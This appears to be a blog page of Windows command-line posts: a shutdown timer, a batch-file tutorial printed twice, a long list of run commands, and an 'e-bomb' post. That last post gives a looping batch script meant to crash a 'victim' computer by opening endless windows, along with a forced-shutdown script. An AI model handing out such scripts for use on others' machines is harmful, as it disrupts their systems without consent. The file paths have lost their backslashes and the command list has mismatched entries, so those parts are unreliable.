Set a timer for windows shutdown and restart from command line with out using any software.

Posted by MUKESH KUMAR on 30 Jun 2011


This may be help to you if have the habit of listening to songs and sleeping or if you are planning to download some thing. open notepad and type
shutdown -s -t 
You can do this without batch file also
  1. Go to Start>run>
  2. Type cmd
  3. Then type shutdown -s -t XXXX (XXXX is time in seconds)
Example:
shutdown -s -t 3600 (Shut down time will be set to 1 hour)
shutdown-s-t-3600.GIF

More aboutSet a timer for windows shutdown and restart from command line with out using any software.

Batch programming Basics

Posted by MUKESH KUMAR


This tutorial explains you what batch file programming is and how to create batch files.
The Basics of Batch File Programming
Batch file programming is nothing but a batch of DOS ( Disk Operating System ) commands, hence the name Batch. If you code a lot and know many languages you are sure to notice that Operating System ( OS )specific languages ( languages that work only on a particular operating system, eg: Visual Basic Scripting works only in Windows ) give you amazing control over the system. This is why Batch is so powerful, it gives you absolute control over DOS. Batch isn’t recommended at all because it is OS specific, but it is fun and easy to learn. This tutorial will not only teach you Batch file programming but also how to fend for yourself and learn more commands that tutorials don’t teach you.
The first command you should know is ECHO. All ECHO does is simply print something onto the screen. It’s like “printf” in C or “PRINT” in Basic. Anyway, this is how we use it.
ECHO Hello World!
All right, now save the above line as a .bat file and double click it. This should be the output -
C:WINDOWSDesktop>ECHO Hello World!
Hello World!
Hmmm, notice that it shows the command before executing it. But we’re coders right? We don’t want our code to look so untidy so just add an @ sign before ECHO and execute it. Woohoo! much better. The @ sign tells DOS to hide from the user whatever commands it is executing. Now, what if I want to write to a file? This is how I do it -
@ECHO Hello World > hello.txt
Simple huh? Remember, “>” to create or overwrite a file and “>>” to append ( write at the end ) of a file that already exists. Guess why this program wont work as desired to -
@ECHO Hello World > hello.txt
@ECHO Hello World Again > hello.txt
Looking at it, you will see that the program is supposed to write two lines one after another but it wont work because in the first line it will create a file called hello.txt and write the words “Hello World” to it, and in the second line it just over-writes the earlier text. So actually what it is doing is that it creates a file and writes to it and then over-writes what it had earlier written, to change this we just add a “>”. The additional “>” will make DOS append to the file. So here’s the improved form of the program -
@ECHO Hello World > hello.txt
@ECHO Hello World Again >> hello.txt
Save the above code as a .bat file and execute it, it will work without a hitch. The next thing we should learn is the GOTO statement. GOTO is just the same as it is in BASIC or for that fact any programming language but the only difference is between the labels.
This is a label in C or BASIC – label:
This is a label in batch – :label
In C or BASIC, the “:” comes after the label and in Batch it comes before the label. Bear this in mind as you proceed. Here’s an example of the GOTO statement -
:labelone
@ECHO LoL
GOTO labelone
If you execute this code, you will see that it is an unlimited loop; it will keep printing to the screen till the end of time if you don’t interrupt it Smile The GOTO statement is very useful when it comes to building big Batch programs. Now, we will learn the IF and EXIST commands. The IF command is usually used for checking if a file exists, like this -
@IF EXIST C:WINDOWSEXPLORER.EXE ECHO It exists
Observe that I have not used inverted commas ( ” ) as I would in BASIC or C. The EXIST command is only found in Batch and not in any other language. The EXIST command can also be used to check if a file does not exist, like this -
@IF NOT EXIST C:WINDOWSEXPLORER.EXE ECHO It does not exist
Remember, Batch is not a language like C or BASIC or Pascal, it cannot do mathematical functions. In Batch, all you can do is control DOS. In the above example notice that there is no THEN command as there would be in most languages.
Sick and tired off using the @ sign before each and every command ? Let’s do some research, go to the DOS prompt and type in ECHO /? and press enter. Interesting, in this way, when you hear of a new DOS command you don’t know about, just type in “command /?” and you can get help on it. Now back to ECHO. According to the help we received by typing in ECHO /? you must have concluded if you type in ECHO OFF you no longer need to type an @ sign before every command.
Wait! just add an @ before ECHO OFF so that it does not display the message – ECHO is off.
The next command we are going to learn about is the CLS command. It stands for CLear Screen. If you know BASIC, you will have no problem understanding this command. All it does is clear the screen. Here’s an example -
@ECHO OFF
CLS
ECHO This is DOS
This command needs no further explanation but type in CLS /? to get more help on the command.
The next command we are going to learn is CD. It stands for Current Directory. It displays the current directory in which you are if you just type in “CD” but if you type in”CD C:WindowsDesktop” it will take you to the Desktop. Here’s an example -
@ECHO OFF
CD C:WindowsDesktop
ECHO Testing.. > test.txt
ECHO Testing…>>test.txt
This will change the directory to the Desktop and create a file there called test.txt and write to it. If we had not used the CD command, this is how the program would have looked.
@ECHO OFF
ECHO Testing.. > C:WindowsDesktoptest.txt
ECHO Testing…>> C:WindowsDesktoptest.txt
See the difference? Anyway that’s all for the The Basics of Batch File Programming. Remember, each an every DOS command can be used in Batch.
More aboutBatch programming Basics

Batch programming basics

Posted by MUKESH KUMAR


This tutorial explains you what batch file programming is and how to create batch files.
The Basics of Batch File Programming
Batch file programming is nothing but a batch of DOS ( Disk Operating System ) commands, hence the name Batch. If you code a lot and know many languages you are sure to notice that Operating System ( OS )specific languages ( languages that work only on a particular operating system, eg: Visual Basic Scripting works only in Windows ) give you amazing control over the system. This is why Batch is so powerful, it gives you absolute control over DOS. Batch isn’t recommended at all because it is OS specific, but it is fun and easy to learn. This tutorial will not only teach you Batch file programming but also how to fend for yourself and learn more commands that tutorials don’t teach you.
The first command you should know is ECHO. All ECHO does is simply print something onto the screen. It’s like “printf” in C or “PRINT” in Basic. Anyway, this is how we use it.
ECHO Hello World!
All right, now save the above line as a .bat file and double click it. This should be the output -
C:WINDOWSDesktop>ECHO Hello World!
Hello World!
Hmmm, notice that it shows the command before executing it. But we’re coders right? We don’t want our code to look so untidy so just add an @ sign before ECHO and execute it. Woohoo! much better. The @ sign tells DOS to hide from the user whatever commands it is executing. Now, what if I want to write to a file? This is how I do it -
@ECHO Hello World > hello.txt
Simple huh? Remember, “>” to create or overwrite a file and “>>” to append ( write at the end ) of a file that already exists. Guess why this program wont work as desired to -
@ECHO Hello World > hello.txt
@ECHO Hello World Again > hello.txt
Looking at it, you will see that the program is supposed to write two lines one after another but it wont work because in the first line it will create a file called hello.txt and write the words “Hello World” to it, and in the second line it just over-writes the earlier text. So actually what it is doing is that it creates a file and writes to it and then over-writes what it had earlier written, to change this we just add a “>”. The additional “>” will make DOS append to the file. So here’s the improved form of the program -
@ECHO Hello World > hello.txt
@ECHO Hello World Again >> hello.txt
Save the above code as a .bat file and execute it, it will work without a hitch. The next thing we should learn is the GOTO statement. GOTO is just the same as it is in BASIC or for that fact any programming language but the only difference is between the labels.
This is a label in C or BASIC – label:
This is a label in batch – :label
In C or BASIC, the “:” comes after the label and in Batch it comes before the label. Bear this in mind as you proceed. Here’s an example of the GOTO statement -
:labelone
@ECHO LoL
GOTO labelone
If you execute this code, you will see that it is an unlimited loop; it will keep printing to the screen till the end of time if you don’t interrupt it Smile The GOTO statement is very useful when it comes to building big Batch programs. Now, we will learn the IF and EXIST commands. The IF command is usually used for checking if a file exists, like this -
@IF EXIST C:WINDOWSEXPLORER.EXE ECHO It exists
Observe that I have not used inverted commas ( ” ) as I would in BASIC or C. The EXIST command is only found in Batch and not in any other language. The EXIST command can also be used to check if a file does not exist, like this -
@IF NOT EXIST C:WINDOWSEXPLORER.EXE ECHO It does not exist
Remember, Batch is not a language like C or BASIC or Pascal, it cannot do mathematical functions. In Batch, all you can do is control DOS. In the above example notice that there is no THEN command as there would be in most languages.
Sick and tired off using the @ sign before each and every command ? Let’s do some research, go to the DOS prompt and type in ECHO /? and press enter. Interesting, in this way, when you hear of a new DOS command you don’t know about, just type in “command /?” and you can get help on it. Now back to ECHO. According to the help we received by typing in ECHO /? you must have concluded if you type in ECHO OFF you no longer need to type an @ sign before every command.
Wait! just add an @ before ECHO OFF so that it does not display the message – ECHO is off.
The next command we are going to learn about is the CLS command. It stands for CLear Screen. If you know BASIC, you will have no problem understanding this command. All it does is clear the screen. Here’s an example -
@ECHO OFF
CLS
ECHO This is DOS
This command needs no further explanation but type in CLS /? to get more help on the command.
The next command we are going to learn is CD. It stands for Current Directory. It displays the current directory in which you are if you just type in “CD” but if you type in”CD C:WindowsDesktop” it will take you to the Desktop. Here’s an example -
@ECHO OFF
CD C:WindowsDesktop
ECHO Testing.. > test.txt
ECHO Testing…>>test.txt
This will change the directory to the Desktop and create a file there called test.txt and write to it. If we had not used the CD command, this is how the program would have looked.
@ECHO OFF
ECHO Testing.. > C:WindowsDesktoptest.txt
ECHO Testing…>> C:WindowsDesktoptest.txt
See the difference? Anyway that’s all for the The Basics of Batch File Programming. Remember, each an every DOS command can be used in Batch.

More aboutBatch programming basics

Some cool run commands

Posted by MUKESH KUMAR


Power Configuration – powercfg.cpl
Printers and Faxes – control printers
Printers Folder – printers
Private Character Editor – eudcedit
Quicktime (If Installed)- QuickTime.cpl
Quicktime Player (if installed)- quicktimeplayer
Real Player (if installed)- realplay
Regional Settings – intl.cpl
Registry Editor – regedit
Registry Editor – regedit32
Remote Access Phonebook – rasphone
Remote Desktop – mstsc
Removable Storage – ntmsmgr.msc
Removable Storage Operator Requests – ntmsoprq.msc
Resultant Set of Policy (XP Prof) – rsop.msc
Scanners and Cameras – sticpl.cpl
Scheduled Tasks – control schedtasks
Security Center – wscui.cpl
Services – services.msc
Shared Folders – fsmgmt.msc
Shuts Down Windows – shutdown
Sounds and Audio – mmsys.cpl
Spider Solitare Card Game – spider
SQL Client Configuration – cliconfg
System Configuration Editor – sysedit
System Configuration Utility – msconfig
System File Checker Utility (Scan Immediately)- sfc /scannow
System File Checker Utility (Scan Once At Next Boot)- sfc /scanonce
System File Checker Utility (Scan On Every Boot) – sfc /scanboot
System File Checker Utility (Return to Default Setting)- sfc /revert
System File Checker Utility (Purge File Cache)- sfc /purgecache
System File Checker Utility (Set Cache Size to size x)-sfc/cachesize=x
System Information- msinfo32
System Properties – sysdm.cpl
Task Manager – taskmgr
TCP Tester – tcptest
Telnet Client – telnet
Tweak UI (if installed) – tweakui
User Account Management- nusrmgr.cpl
Utility Manager – utilman
Accessibility Controls- access.cpl
Add Hardware Wizard- hdwwiz.cpl
Add/Remove Programs- appwiz.cpl
Administrative Tools- control admintools
Automatic Updates- wuaucpl.cpl
Bluetooth Transfer Wizard- fsquirt
Calculator- calc
Certificate Manager- certmgr.msc
Character Map- charmap
Check Disk Utility- chkdsk
Clipboard Viewer- clipbrd
Command Prompt- cmd
Component Services- dcomcnfg
Computer Management- compmgmt.msc
timedate.cpl- ddeshare
Device Manager- devmgmt.msc
Direct X Control Panel (If Installed)*- directx.cpl
Direct X Troubleshooter- dxdiag
Disk Cleanup Utility- cleanmgr
Disk Defragment- dfrg.msc
Disk Management- diskmgmt.msc
Disk Partition Manager- diskpart
Display Properties- control desktop
Display Properties- desk.cpl
Display Properties (w/Appearance Tab Preselected)- control color
Dr. Watson System Troubleshooting Utility- drwtsn32
Driver Verifier Utility- verifier
Event Viewer- eventvwr.msc
File Signature Verification Tool- sigverif
Findfast- findfast.cpl
Folders Properties- control folders
Fonts- control fonts
Fonts Folder- fonts
Free Cell Card Game- freecell
Game Controllers- joy.cpl
Group Policy Editor (XP Prof)- gpedit.msc
Hearts Card Game- mshearts
Iexpress Wizard- iexpress
Indexing Service- ciadv.msc
Internet Properties- inetcpl.cpl
IP Configuration (Display Connection Configuration) ipconfig /all
IP Configuration (Display DNS Cache Contents) ipconfig /displaydns
IP Configuration (Delete DNS Cache Contents)- ipconfig /flushdns
IP Configuration (Release All Connections)- ipconfig /release
IP Configuration (Renew All Connections)- ipconfig /renew
IP Configuration (Refreshes DHCP & Re-Registers DNS)- ipconfig /registerdns
IP Configuration (Display DHCP Class ID)- ipconfig /showclassid
IP Configuration (Refreshes DHCP & Re-Registers DNS)- ipconfig /registerdns
IP Configuration (Display DHCP Class ID)- ipconfig /showclassid
IP Configuration (Modifies DHCP Class ID)- ipconfig /setclassid
Java Control Panel (If Installed)- jpicpl32.cpl
Java Control Panel (If Installed)- javaws
Keyboard Properties- control keyboard
Local Security Settings- secpol.msc
Local Users and Groups- lusrmgr.msc
Logs You Out Of Windows- logoff
Microsoft Chat- winchat
Minesweeper Game- winmine
Mouse Properties- control mouse
Mouse Properties- main.cpl
Network Connections- control netconnections
Network Connections- ncpa.cpl
Network Setup Wizard- netsetup.cpl
Notepad- notepad
Nview Desktop Manager (If Installed)- nvtuicpl.cpl
Object Packager- packager
ODBC Data Source Administrator- odbccp32.cpl
On Screen Keyboard- osk
Opens AC3 Filter (If Installed)- ac3filter.cpl
Password Properties- password.cpl
Performance Monitor- perfmon.msc
Performance Monitor- perfmon
Phone and Modem Options- telephon.cpl
Power Configuration- powercfg.cpl
Printers and Faxes- control printers
Printers Folder- printers
Private Character Editor- eudcedit
Quicktime (If Installed)- QuickTime.cpl
Regional Settings- intl.cpl
Registry Editor- regedit
Registry Editor- regedit32
Remote Desktop- mstsc
Removable Storage- ntmsmgr.msc
Removable Storage Operator Requests- ntmsoprq.msc
Resultant Set of Policy (XP Prof)- rsop.msc
Scanners and Cameras- sticpl.cpl
Scheduled Tasks- control schedtasks
Security Center- wscui.cpl
Services- services.msc
Shared Folders- fsmgmt.msc
Shuts Down Windows- shutdown
Sounds and Audio- mmsys.cpl
Spider Solitare Card Game- spider
SQL Client Configuration- cliconfg
System Configuration Editor- sysedit
System Configuration Utility- msconfig
System File Checker Utility (Scan Immediately)- sfc /sc
BCKGZM.EXE – Backgammon
CHKRZM.EXE – Checkers
CONF.EXE – NetMeeting
DIALER.EXE – Phone Dialer
HELPCTR.EXE – Help and Support
HRTZZM.EXE – Internet Hearts
HYPERTRM.EXE – HyperTerminal
ICWCONN1.EXE – Internet Connection Wizard
IEXPLORE.EXE – Internet Explorer
INETWIZ.EXE – Setup Your Internet Connection
INSTALL.EXE – User’s Folder
MIGWIZ.EXE – File and Settings Transfer Wizard
MOVIEMK.EXE – Windows Movie Maker
MPLAYER2.EXE – Windows Media Player Version 6.4.09.1120
MSCONFIG.EXE – System Configuration Utility
MSIMN.EXE – Outlook Express
MSINFO32.EXE – System Information
MSMSGS.EXE – Windows Messenger
MSN6.EXE – MSN Explorer
PBRUSH.EXE – Paint
PINBALL.EXE – Pinball
RVSEZM.EXE – Reversi
SHVLZM.EXE – Spades
TABLE30.EXE – User’s Folder
WAB.EXE – Windows Address Book
WABMIG.EXE – Address Book Import Tool
WINNT32.EXE – User’s Folder
WMPLAYER.EXE – Windows Media Player
WRITE.EXE – Wordpad
ACCWIZ.EXE – Accessibility Wizard
CALC.EXE – Calculator
CHARMAP.EXE – Character Map
CLEANMGR.EXE – Disk Space Cleanup Manager
CLICONFG.EXE – SQL Client Configuration Utility
CLIPBRD.EXE – Clipbook Viewer
CLSPACK.EXE – Class Package Export Tool
CMD.EXE – Command Line
CMSTP.EXE – Connection Manager Profile Installer
CONTROL.EXE – Control Panel
DCOMCNFG.EXE – Component Services
DDESHARE.EXE – DDE Share
DRWATSON.EXE – Doctor Watson v1.00b
DRWTSN32.EXE – Doctor Watson Settings
DVDPLAY.EXE – DVD Player
DXDIAG.EXE – DirectX Diagnostics
EUDCEDIT.EXE – Private Character Editor
EVENTVWR.EXE – Event Viewer
EXPLORER.EXE – Windows Explorer
FREECELL.EXE – Free Cell
FXSCLNT.EXE – Fax Console
FXSCOVER.EXE – Fax Cover Page Editor
FXSEND.EXE – MS Fax Send Note Utility
IEXPRESS.EXE – IExpress 2.0
LOGOFF.EXE – System Logoff
MAGNIFY.EXE – Microsoft Magnifier
MMC.EXE – Microsoft Management Console
MOBSYNC.EXE – Microsoft Synchronization Manager
MPLAY32.EXE – Windows Media Player version 5.1
MSHEARTS.EXE – Hearts
MSPAINT.EXE – Paint
MSTSC.EXE – Remote Desktop Connection
NARRATOR.EXE – Microsoft Narrator
NETSETUP.EXE – Network Setup Wizard
NOTEPAD.EXE – Notepad
NSLOOKUP.EXE – NSLookup Application
NTSD.EXE – Symbolic Debugger for Windows 2000
ODBCAD32.EXE – ODBC Data Source Administrator
OSK.EXE – On Screen Keyboard
OSUNINST.EXE – Windows Uninstall Utility
PACKAGER.EXE – Object Packager
PERFMON.EXE – Performance Monitor
PROGMAN.EXE – Program Manager
RASPHONE.EXE – Remote Access Phonebook
REGEDIT.EXE – Registry Editor
REGEDT32.EXE – Registry Editor
RESET.EXE – Resets Session
RSTRUI.EXE – System Restore
RTCSHARE.EXE – RTC Application Sharing
SFC.EXE – System File Checker
SHRPUBW.EXE – Create Shared Folder
SHUTDOWN.EXE – System Shutdown
SIGVERIF.EXE – File Signature Verification
SNDREC32.EXE – Sound Recorder
SNDVOL32.EXE – Sound Volume
SOL.EXE – Solitaire
SPIDER.EXE – Spider Solitaire
SYNCAPP.EXE – Create A Briefcase
SYSEDIT.EXE – System Configuration Editor
SYSKEY.EXE – SAM Lock Tool
TASKMGR.EXE – Task Manager
TELNET.EXE – MS Telnet Client
TSSHUTDN.EXE – System Shutdown
TOURSTART.EXE – Windows Tour Launcher
UTILMAN.EXE – System Utility Manager
USERINIT.EXE – My Documents
VERIFIER.EXE – Driver Verifier Manager
WIAACMGR.EXE – Scanner and Camera Wizard
WINCHAT.EXE – Windows for Workgroups Chat
WINHELP.EXE – Windows Help Engine
WINHLP32.EXE – Help
WINMINE.EXE – Minesweeper
WINVER.EXE – Windows Version Information
WRITE.EXE – WordPad
WSCRIPT.EXE – Windows Script Host Settings
WUPDMGR.EXE – Windows Update
ACCESS.CPL – Accessibility Options
APPWIZ.CPL – Add or Remove Programs
DESK.CPL – Display Properties
HDWWIZ.CPL – Add Hardware Wizard
INETCPL.CPL – Internet Explorer Properties
INTL.CPL – Regional and Language Options
JOY.CPL – Game Controllers
MAIN.CPL – Mouse Properties
MMSYS.CPL – Sounds and Audio Device Properties
NCPA.CPL – Network Connections
NUSRMGR.CPL – User Accounts
ODBCCP32.CPL – ODBC Data Source Administrator
POWERCFG.CPL – Power Options Properties
SYSDM.CPL – System Properties
TELEPHON.CPL – Phone and Modem Options
TIMEDATE.CPL – Date and Time Properties
CERTMGR.MSC – Certificates
CIADV.MSC – Indexing Service
COMPMGMT.MSC – Computer Management
DEVMGMT.MSC – Device Manager
DFRG.MSC – Disk Defragmenter
DISKMGMT.MSC – Disk Management
EVENTVWR.MSC – Event Viewer
FSMGMT.MSC – Shared Folders
LUSRMGR.MSC – Local Users and Groups
NTMSMGR.MSC – Removable Storage
NTMSOPRQ.MSC – Removable Storage Operator Requests
PERFMON.MSC – Performance Monitor
SERVICES.MSC – Services
WMIMGMT.MSC – Windows Management Infrastructure
More aboutSome cool run commands

What is e-Bomb, How it works, Let’s play with e-bomb

Posted by MUKESH KUMAR


Cracking computer tricks is really an interesting part of learning. If you are not familiar with the term “e-bomb” then this article must help you to learn about these interesting tricks of DOS Batch commands.

What is e-Bombing and how it works

The concept of “e-bomb” is very simple, it is some kind of program that opens a ton of windows and makes the victim computer crash.  e-bombing is a type of hacking technique it is generally used by the computer users to make fun with friends by crashing their computers or it is also used to make simple viruses(just for learning purpose). To make a simple e-bomb open your notepad and write the DOS commands written below:
1
2
3
4
5
6
7
@echo off
Start notepad
Start notepad
Start notepad
Start notepad
Start notepad
Start iexplore.exe http://www.techBU.com
Save the file with .bat extension. The commands written above help you to open the notepad 5 times on victim’s computer.
e-bomb

How e-bomb works?

An e-bomb contains a number of DOS commands executed by the command interpreter. The notepad serves as a simple text editor and .bat extension changes the file into batch file. In the code written above @echo off is the main command which triggers the e-bomb, and start notepad command tells the computer to open notepad.
Alternative to Notepad: Simply open your command prompt (cmd) and write the commands as discussed above.

Let’s take “e-bomb” Trick to the next level:

As written above now the question is how it helps in making of simple viruses the answer is very simple by adding a loop in the commands which opens infinite number of notepads or whatever application you want. Copy scripts written below in notepad and save file with ‘.bat’ extension.

The commands for adding loop in the e-bomb:

1
2
3
4
@echo off
:loop
Start notepad
goto loop

Here are the commands to shut down the computer:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
@echo off
color 3
title Conditional Shutdown
set /p name=enter a name:
:start
cls
echo Hi, %name%
echo.
echo 1.Shutdown
echo 2.Quit
:invalid_choice
set /p choice=enter your choice 1,2:
if %choice%==1 goto shutdown
if %choice%==2 exit
echo invalid choice: %choice%
goto invalid_choice
:shutdown
cls
set /p sec=enter the number of seconds that you wish the computer to shutdown in:
set /p message=enter the shutdown message you wish to display:
shutdown.exe -s -f -t %sec% -c "%message%"
echo shutdown initiated at %time%
set /p cancel=type cancel to stop shutdown
if %cancel%==cancel shutdown.exe -a
if %cancel%==cancel goto start
e-bomb-2

More aboutWhat is e-Bomb, How it works, Let’s play with e-bomb